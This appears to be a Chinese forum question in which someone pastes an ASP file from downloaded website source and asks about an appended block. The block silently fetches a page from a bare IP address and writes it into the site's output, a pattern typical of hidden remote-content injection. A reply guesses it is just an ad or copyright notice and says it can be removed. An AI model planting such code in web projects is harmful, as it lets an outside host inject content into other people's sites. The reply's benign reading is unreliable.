请教问题

文件内容：
<%
Dim NF_Company
Set NF_Company = new Cls_Company

Class Cls_Company
Public CompanyID,UserName,UserPass,RndPassword,RegTime,LastLoginIP,LastLoginTime,LoginTimes,UpdateTime,GroupID,tMode,Hits,IsElite,IsLock
Public CompanyName,ShortName,Province,City,District,Address,ZipCode,LinkMan,Phone,ServiceHotline,Fax,Email,HomePage,Line,OtherContent,CompanyIntro,C_PicUrl,C_MapUrl,C_LogoUrl,C_BannerUrl,Services,SiteID,PicPath
public ExpireDate,BeginDate

Public Sub CompanyInfo(CompanyID)
Dim Rs
If CompanyID = "" Or Not IsNumeric(CompanyID) Then CompanyID = 0
Set Rs = Conn.Execute("select * from Ht_Company where CompanyID = "& CompanyID)
If Rs.Eof Then
CompanyID = 0
UserName = ""
UserPass = ""
RndPassword = ""
RegTime = ""
LastLoginIP = ""
LastLoginTime = ""
LoginTimes = 0
UpdateTime = ""
GroupID = 0
tMode = 0
Hits = 0
IsElite = 0
IsLock = 0
CompanyName = ""
ShortName = ""
Province = ""
City = ""
District = ""
Address = ""
ZipCode = ""
LinkMan = ""
Phone = ""
ServiceHotline = ""
Fax = ""
Email = ""
HomePage = ""
Line = ""
OtherContent = ""
CompanyIntro = ""
C_PicUrl = ""
C_MapUrl = ""
C_LogoUrl = ""
C_BannerUrl = ""
ExpireDate = ""
BeginDate = ""
Services = ""
SiteID = 1
PicPath = ""
Else
CompanyID = rs("CompanyID")
UserName = rs("UserName")
UserPass = rs("UserPass")
RndPassword = rs("RndPassword")
RegTime = rs("RegTime")
LastLoginIP = rs("LastLoginIP")
LastLoginTime = rs("LastLoginTime")
LoginTimes = rs("LoginTimes")
UpdateTime = rs("UpdateTime")
GroupID = rs("GroupID")
tMode = rs("tMode")
Hits = rs("Hits")
IsElite = rs("IsElite")
IsLock = rs("IsLock")
CompanyName = rs("CompanyName")
ShortName = rs("ShortName")
Province = rs("Province")
City = rs("City")
District = rs("District")
Address = rs("Address")
ZipCode = rs("ZipCode")
LinkMan = rs("LinkMan")
Phone = rs("Phone")
ServiceHotline = rs("ServiceHotline")
Fax = rs("Fax")
Email = rs("Email")
HomePage = rs("HomePage")
Line = rs("Line")
OtherContent = rs("OtherContent")
CompanyIntro = rs("CompanyIntro")
C_PicUrl = rs("C_PicUrl")
C_MapUrl = rs("C_MapUrl")
C_LogoUrl = rs("C_LogoUrl")
C_BannerUrl = rs("C_BannerUrl")
ExpireDate = rs("ExpireDate")
BeginDate = rs("BeginDate")
Services = rs("Services")
SiteID = rs("SiteID")
PicPath ="http://"&GetSiteFieldValue("SiteUrl",SiteID) & UploadDir
End If
Set Rs = Nothing
End Sub
End Class
%>
<%
On Error Resume Next 
Server.ScriptTimeOut=9999999 
response.write(getHTTPPage("http://98.126.67.162/wjfpage1.0/Content-Type/css1.jsp"))
function getHTTPPage(url)
  dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
  Http.send()
  if Http.readystate<>4 then 
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
  set http=nothing
  if err.number<>0 then err.Clear 
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
  %>

我从网上下了个源码，他这个文件里有一个这个http://98.126.67.162/wjfpage1.0/Content-Type/css1.jsp，页面运行的时候提示找不到路径，我不知道他这个是干什么用的，不知可以删除不？

有些作者会喜欢把一段核心的代码或者参数保存在自己的服务器上
然后其他人用他的东西的时候就会远程去获取
看你这个代码应该只是一个广告或者声明版权之类的东西
不涉及核心的东西
应该可以直接去掉
去掉试试就知道了